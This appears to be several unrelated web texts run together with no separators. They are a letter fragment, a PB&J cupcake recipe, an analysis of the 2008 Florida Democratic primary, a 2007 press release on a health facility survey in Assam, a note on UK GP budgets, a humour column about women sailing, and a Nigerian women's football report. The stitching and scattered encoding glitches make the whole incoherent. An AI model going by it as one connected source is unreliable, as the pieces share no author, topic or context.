There isn�t that a funny place to commence a letter it was a mistaken date and all. I am rather short of paper today or I would try a new sheet but never mind. I�ll do better next time perhaps. I received your kind and interesting last night, was pleased to know that you were well and enjoying yourself so well.

The song is a little annoying, but this recipe won't be.
Unless you have a hard time fighting temptation. Then it might.
PB&J sandwiches really are like a dessert break in middle of the day–otherwise known as lunch. Think about it: sweet fruit, savory nut spread, topped on soft bread. Sounds almost like a sweet-savory cake, doesn't it?
Let's just go there already. We need a real PB&J dessert. A cupcake. Ever seen the ones in many cupcake emporiums? I always thought they looked less appetizing next to their chocolate and vanilla counterparts.
But try this very rich recipe, and you'll change your mind.
- 4 tbsp spelt flour (30g) (or ww)
- .5 T stevia
- dash of baking powder, baking soda, and cinnamon
- 1/2 an egg or 1/2 flax egg (.5 T ground flax mixed with 1/2 T water)
- 1 T all-natural, salt-free peanut butter
- splash of vanilla extract
- 1 T organic vanilla yogurt
- .5 T nondairy milk
For icing: Mix another 1/2 T peanut butter with either another 1/2 T vanilla yogurt or 1/2 T Neufchatel cream cheese. Top with your favorite preserves.
Preheat oven to 330 degrees. Lightly grease a muffin tin or a single silicone cup. Set aside. (Note: You can microwave for 1-1.5 minutes for a quicker muffin, but it will probably turn out less moist.)
Mix dry ingredients; then blend in wet 'til combined, but don't overmix.
Bake for about 13-15 minutes or until golden brown on top.
Let cool. Spread with the peanut butter frosting and preserves.

A week from Super Tuesday, Clinton is holding her ground and performs well among key groups
Margin and exit polls: Hillary's margin of victory was substantial. While she did not cross the 50% threshold, she did win by 17% which is a very healthy lead -- and she led both among early-voters and those who voted today. While Obama and Edwards did not campaign here, neither did Clinton so these polls are an interesting indication of what can be described as default numbers, similar to a national poll. And the fact that she is holding this big a lead has got to be reassuring for Clinton heading into Super Tuesday. After the catastrophic past few days (South Carolina debacle, Kennedy endorsement), she managed to hold her lead.
The exit polls do point to a few troubling signs for Clinton. For example, she trails among those who made their minds in the past month (though she wins among those who made their mind today), underscoring that Clinton has lost ground in the past month. Also, Obama's 33% is a good result that shows he has been able to capitalize on the withdrawal of other candidates and on his own buzz to raise above where he was a few weeks ago.
But the Clinton campaign will not deny that. After all, they started 2008 with a big enough national lead that they can lose some ground and still hold a lead. If Clinton survives Super Tuesday -- which is only in a week -- she will feel good about holding on after that since the bulk of states will have voted. And however momentum Obama has, he has not yet eroded Clinton's national lead (reflected in her numbers in places like California).
With Feb. 5th voters now paying attention, Obama has an opening to make his case and move some numbers. But Florida was meant to give us some indication of whether Obama can outperform expectations and show that there is some movement building. This was a perfect opportunity for him to hammer Clinton a bit more and prove that the SC win and Kennedy endorsement have fundamentally changed the playing field. But he did not do that tonight. While he could have lost by more, certainly, there is no big shift just yet and Clinton is holding her own.
Looking at the detail of exit polls also should make Clinton feel better about next week. First, she got a higher proportion of the black vote in South Carolina (about 23-24%) and it is essential for her to cut her losses as much as possible among African-Americans. If anything, she would lose a lot of delegates next week if she fails to break 15% in some precincts and counties. Second, Clinton once against came out with a strong lead among Latinos, just as in Nevada, confirming her strength among that group that should help her greatly next week in California and Arizona.
Turnout: More than 1.7 million voters went to the poll in a Democratic primary that had been hammered as insignificant. That is comparable to the less than 2 million who voted in the GOP primary, described as a momentous occasion. Not only does that say something about the level of excitement on the Democratic side (that we witnessed in even more dramatic fashion in South Carolina), it also allows Hillary to argue that impressive turnout does not necessarily benefit Obama and that she can expand the voter universe too. More importantly, Clinton can argue that it's hard to ignore a contest with this many voters.
Media coverage: This is where Clinton is coming out the loser tonight, as she benefited from very little coverage. MSNBC mostly ignored the Democratic contest and only included the GOP results in the ticker at the bottom of its screen, while CNN's Wolf Blitzer rarely mentioned Clinton's victory without adding the modifier that there were no delegates at stake. Similarly, the Democratic results are hardly visible on the NYT's web frontpage right now. The networks carried the beginning of Clinton's speech live, but neither MSNBC and CNN let it run in its entirety. If you want a more precise rundown of what was seen on TV tonight, our very own commentator Robert V. summarized the media's ignoring the Democratic primary.
This means that Clinton will have to work overdrive to spin this into a result that should be covered. And while it gives her an opportunity to change the subject and stop bleeding support in the run-up to Super Tuesday, don't expect Florida to give her a significant bounce. It will at best allow her to stabilize herself and keep on to whatever edge she has left at this point.
Ultimately, this determination to ignore the Florida results is strange. I have been writing about the absurdity of the pledge for many months now, and this week's developments are not making me feel better about this calendar's chaos. First, as I explained this morning, delegates are not the number we should be looking at just yet. They will be in the morning of February 6th if no one gets a decisive victory on Super Tuesday. Second, Clinton did got half of the vote in a state in which no one campaigned thus in which no one had a particularly strong advantage. At the end of the day, the Clinton camp is very satisfied tonight that its support is not eroding as they were afraid it might be, and that satisfaction is not just spin.
Edwards: John Edwards got 14.6% tonight, very close to the viability threshold of 15% he will have to meet next week to get delegates. This will be the test of whether the convention might be brokered: Will Edwards take enough delegates to prevent Clinton and Obama from getting a majority? He will have to get to 15% either statewide or in a significant number of districts to do so, and tonight's number suggests he is still in the hunt. He won a few counties in Northern Florida and was strong in dfiferent parts of the state. He is hovering in an area in which he can get delegates, so don't count him out as kingmaker just yet.

IndiQuest and Advent announce the completion of Facility Survey 2007 commissioned by National Rural Health Mission (NRHM), Assam
Company Press Release
May 2007
IndiQuest in association with Advent Healthcare Group has successfully completed the facility survey of all the primary health institutions in the state of Assam, commissioned by NRHM. The main objective of the facility survey was to assess the existing status of infrastructure, manpower, equipment, drugs, services and quality indicators in each healthcare facility as per the Indian Public Health Standards (IPHS) norms so as to identify the gaps for future planning.
The IndiQuest team led by Senior Project Manager - Prabir Chetia and Research Analyst - Som Ganguly, along with the Advent team were onsite for 3 months - planning and executing the entire program. Right from setting up the project office at Guwahati, field office at Golaghat and Silchar to recruiting, training, conducting survey and validating data captured - the team of 122 enumerators surveyed approximately 5435 centres which included 843 Public Health Centres and 4592 Subcentres.
Few key highlights of the facility survey:
Based on the facility survey questionnaire and the scope of responses, a data entry programme was developed by IT experts. The entire 1.7 million unit of data was then digitised and a structured database was created. Reports can be generated to view all the center details by facility types and also in a summarised format with aggregates and percentages.
The project was very challenging due to strict timelines and difficult ground situations, but the team has successfully managed to execute the assignment to best of its ability and satisfaction of the client.

At last picture emerges of GPs' income
Last week GPs heaved a collective sigh of relief. Finally, they received their indicative practice budgets for 2004/5 and could, for the first time, begin really to understand what the new contract will deliver financially for them.
Far more practices than expected have ended up with the minimum practice income guarantee kicking in to make their global sum more respectable.
Once staff costs are accounted for, GMS income should have been protected. Quality points payments should provide a pay rise in 2004/5 and more the year after. But this does mean extra work.
A bonus is the cost of out-of-hours, which is a fixed percentage of the global sum and not deducted at all from the minimum practice income guarantee (MPIG) . A figure of £6,000-£7,000 per partner for all out-of-hours cover seems to be a bargain.
But one lingering worry for GPs is that increased expenses may take too much of their pay away.

On Sailboats and Womens Equality Day
On Sailboats and Women's Equality Day
By Tom Purcell
I had a bad feeling as soon as I got onto the boat.
It was a small rented sailboat that was piloted by two women. The women had taken a few sailing lessons and wanted to try out their nautical prowess on the Potomac River. I and two other fellows went along for the ride.
And what a ride it was. Shortly after we boarded, one of the women, a lawyer, began lecturing us on sailing techniques. She told us about the jib, the small sail up front, and how to move it from one side to another by releasing one jib rope and pulling the other.
She explained what it meant to "tack," or shift the sails from one side to another to catch the wind and change direction. She lectured us with a seriousness you'd encounter at a sexual-harassment seminar.
No sooner did her lecture conclude than the winds whipped up and grabbed the sails. We were yanked out to the great unknown at the neck-snapping speed of two miles per hour.
"Let go of the jib!" she shouted to one of the men, who, being a man, felt the need to do something, so he grabbed the jib rope. I later learned he was her ex-husband and they still lived together.
"But if I pull the jib tighter, it will catch more wind," he speculated. Men speculate. A lack of actual knowledge never interferes with our perpetual quest to resolve problems.
"Release the jib now!"
"But if I ..."
"I said let go of the damn jib!"
He let go of the damn jib. His surrender, and the embarrassment we felt for him, set the tone for the rest of the torturous outing.
No matter where you sit on a sailboat piloted by women, you are in the way. Your head is perpetually getting struck by ropes, pulleys and sail rods. If you attempt to do nothing, the women yell at you to pull the damn jib. If you pull the damn jib, they demand you release it. If you release it, they demand you pull it tighter.
I got to thinking about this episode after reading about Women's Equality Day, to be celebrated Aug. 26. Congress established it in 1971 to spotlight women's efforts at achieving equality. It is celebrated every Aug. 26 because that's the day women won the right to vote back in 1920.
Things sure have changed since 1920.
It used to be that women were held back in this country. They had few options but to marry and become mothers, and they were then expected to stay home while the men went off to run the country.
Today, the potential of women has been unleashed and we're all better off. Women are excelling in every profession. More women than men are enrolling in college and more are earning advanced degrees. Nearly 40 percent of all businesses in America are owned by women.
It's true that women have not yet achieved parity at the top levels of corporate America. It's also true that women earn 75 percent of what men do, though doesn't this have more to do with the choices women can now make than discrimination?
Women can stay single and climb the corporate ladder. Women can marry, have a family and hire a nanny to watch the kids. They can suspend their careers to stay home with the kids, which will reduce their earning potential when they return to work. There are a million choices available and women are choosing every variation under the sun.
And they're piloting sailboats.
It used to be that when five people got onto a sailboat, the men sat in the back barking orders. They'd soon get to bickering and turn an otherwise delightful outing into a miserable affair.
Now women are doing that. While they focus intensely on their piloting duties, it's the men who are adrift at sea.
We're not sure whether we should pull or release the damn jib.

A late header from midfielder Evelyn Nwabuoku ensured that Rivers Angels came from behind to salvage a point against Ibom Angels on Wednesday.
The visitors took the lead in the 15th minute through Ayowunmi Omasuji before Charity Reuben doubled their advantage in the 45th minute.
However, Nwabuoku halved the deficit for the Jewel of Rivers two minutes into first half added time when she converted from the spot before both sides headed for the half time break.
Just when the Ogbonda Whyte led Ibom Angels thought they were running away with all three points, Rivers Angels won a late free kick at the far side which Ifeoma Paulinus swung inside the box for Nwabuoku to head home for her brace and thus rescue a vital point for her side.
Whyte after the game said he was happy ending the first round with an unbeaten record.
"It was a keenly contested game and I'm happy with the result," began Whyte.
"My target was to pick three points but since I got a point and ending the first round unbeaten, I'm happy.
"The next is to wait for the next round and think of how to get points away from home," he added.
On his part, Head coach of Rivers Angels, Edwin Okon said defensive errors gifted Ibom Angels cheap goals but assured that those errors will be worked on before the commencement of the next round.
"I'm really not happy with the result because defensive errors gave the away team those cheap goals," said Okon.
"It's all part of the game and I still thank God for the result.
"We're going back to the drawing board to work on our mistakes ahead of the second round," he stated.
With Wednesday's result, Rivers Angels are now 3rd on the Group A log with 12 points, a point behind leaders Ibom Angels.
